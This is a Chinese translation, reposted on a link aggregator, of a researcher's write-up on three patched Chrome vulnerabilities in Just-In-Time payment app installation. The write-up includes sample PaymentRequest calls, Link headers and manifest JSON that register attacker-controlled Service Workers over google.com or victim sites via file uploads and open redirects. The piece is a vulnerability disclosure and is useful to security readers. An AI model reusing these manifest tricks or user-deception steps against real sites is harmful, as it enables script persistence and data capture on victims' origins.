24

技术讨论 | 如何在Chrome中使用即时支付功能

 5 years ago
source link: http://www.freebuf.com/articles/web/184581.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

话不多说,我们直奔主题!

当时我在研究Chrome支付处理API(PaymentHandler API)的时候,我发现了下面这句话:

Chrome还支持一个非标准功能,我们将其命名为’及时安装功能’(JIT)。

非常好,这名字一听起来就感觉像存在bug的。所以我赶紧对这个功能的工作机制进行了研究【参考资料】。首先,支付处理API允许支付服务提供商处理发送给他们的支付请求,那支付App的JIT安装功能又是什么呢?具体我就不解释了,请大家接着往下看。

当客户端使用服务器不支持的方法来调用支付请求的时候,也就是下面这样:

new PaymentRequest([{ supportedMethods: 'https://example.com/pay/' }], { ... });

Chrome将会从服务器支持的方法(例如 https://example.com/pay/ )中获取一个特定的URL地址,用于获取地址的页面需要以包含下列响应Header(指向 Payment MethodManifest )的响应信息来响应客户端的请求:

Link:<https://example.com/pay/payment-manifest.json>;rel="payment-method-manifest"

接下来,Chrome将会获取之前所定义的Payment Method Manifest,文件的大致内容如下所示:

{"default_applications": ["https://example.com/pay/web-app-manifest.json"],"supported_origins": ["https://example.com"] }

然后,Chrome将会获取之前所定义的 Web App Manifest ,该文件的内容大致如下:

{
  "name": "Pay withExample",
  ....
  "serviceworker": {
    "src":"service-worker.js",
    "scope":"https://example.com/pay/"
  },
  ...
}

Chrome将会用一个指向“src”和“scope”值的JavaScript文件来注册Service Worker,这里是JIT安装过程中用户可以点击“支付”按钮的一种情况:

fYnyiiU.jpg!web

幸运的是,页面内的“支付”按钮默认设置为聚焦的,所以我们就可以想办法让目标用户按住回车键3秒钟,这样我们就可以触发JIT安装功能了。你注意到上图中有些什么奇怪的地方了吗?没错,支付App的源似乎来自 www.google.com 。为什么呢?原来我们可以用Service Worker脚本来指定Web App Manifest中“scope”参数的值,也就是可以设置任意值:

{
  "name": "Pay toAttacker",
  ....
  "serviceworker": {
    "src": "https://attacker.tld/service-worker.js",
    "scope":"https://www.google.com/"
  },
  ...
}

尽管如此,这里还是存在一些问题,因为Service Worker仍然会存有攻击者网站的源地址,即使攻击者注册的是Google服务范围内的地址。我这里没办法拦截导航/支付请求,但是我可以使用Console API这样的API来进行数据分析,而当用户访问了google.com的控制台之后,Console API可以记录用户的任意数据。

这个漏洞跟UXSS非常相似,但是我没办法成功利用,因为我不应该使用Data URL脚本。当时我将该漏洞上报给Google之后,他们在两天内修复了该漏洞(Chrome 68禁用了JIT安装功能),并提供了5000美金的漏洞奖励。

这个过程中我还注意到了另一个问题,其实我们根本不需要在目标站点内执行脚本来触发JIT安装功能。也就是说,假设攻击者的站点中托管了如下所示的脚本内容:

new PaymentRequest([{ supportedMethods: 'https://attacker.tld/' }], { ... });

Chrome将会获取服务器不支持的方法,响应信息的响应Header如下:

Link:<https://attacker.tld/payment-manifest.json>;rel="payment-method-manifest"

接下来,Chrome将会以下列方式获取Payment Method Manifest:

{"default_applications":["https://victim.tld/user-upload/web-app-manifest.json"],"supported_origins": "*" }

现在,Chrome会从目标站点获取Web App Manifest,这个Web App Manifest能够以任意Content-Type或Content-Disposition进行响应。有的人可能会想,“是不是可以用Cross-originNo-CORS来请求一个JSON文件呢? CORB 会不会禁用这种请求方式呢?”没错,这种请求响应的确会被屏蔽,

尽管如此,Chrome仍会继续获取上述的Web App Manifest内容:

{
  "name": "Pay toAttacker",
  ....
  "serviceworker": {
    "src":"https://victim.tld/user-upload/service-worker.js",
    "scope":"https://victim.tld/user-upload/"
  },
  ...
}

Service Worker脚本的Content-Type必须为JavaScript,但如果使用Content-Disposition的话就无所谓了。

总的来说,如果你能够向目标站点上传文件的话,你就可以在不需要执行任何脚本的情况下安装Service Worker了(持久型XSS)。这很明显又是一个漏洞,上报之后我又拿到了3000美金…

所以,第一个漏洞通过检测Web App Manifest、Service Worker脚本和Scope URL是否同源来成功修复,第二个漏洞通过检测Payment Method Manifest和支付App是否在同一网站来成功修复。那么接下来,我们继续尝试Hack!

攻击者的网站调用下列方法:

new PaymentRequest([{ supportedMethods:'https://redirect.victim.tld/open-redirect?url=//attacker.tld/' }], { ... });

Chrome获取不支持的方法兵重定向至攻击者的网站,响应信息的响应Header如下:

Link:<https://victim.tld/user-upload/payment-manifest.json>;rel="payment-method-manifest"

接下来还是跟之前一样,我们只需要向目标站点上传文件(Payment Method Manifest),如果目标站点开启了开放重定向功能的话,这样就能够绕过所有的安全检测,因为目标站点中的Service Worker并不需要执行任何脚本。

当然了,这个漏洞在两天之后已经修复了,然后我又拿到了3133.7美金(7毛是什么鬼?)。

最后,完整的JIT支付App在Chrome 69中正式上线。

下面是同网站Service Worker安装的PoC:【 传送门

我个人认为,控制响应Header还是比较困难的,所以目前Chrome所采取的缓解方案也足够了。

* 参考来源: shhnjk ,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK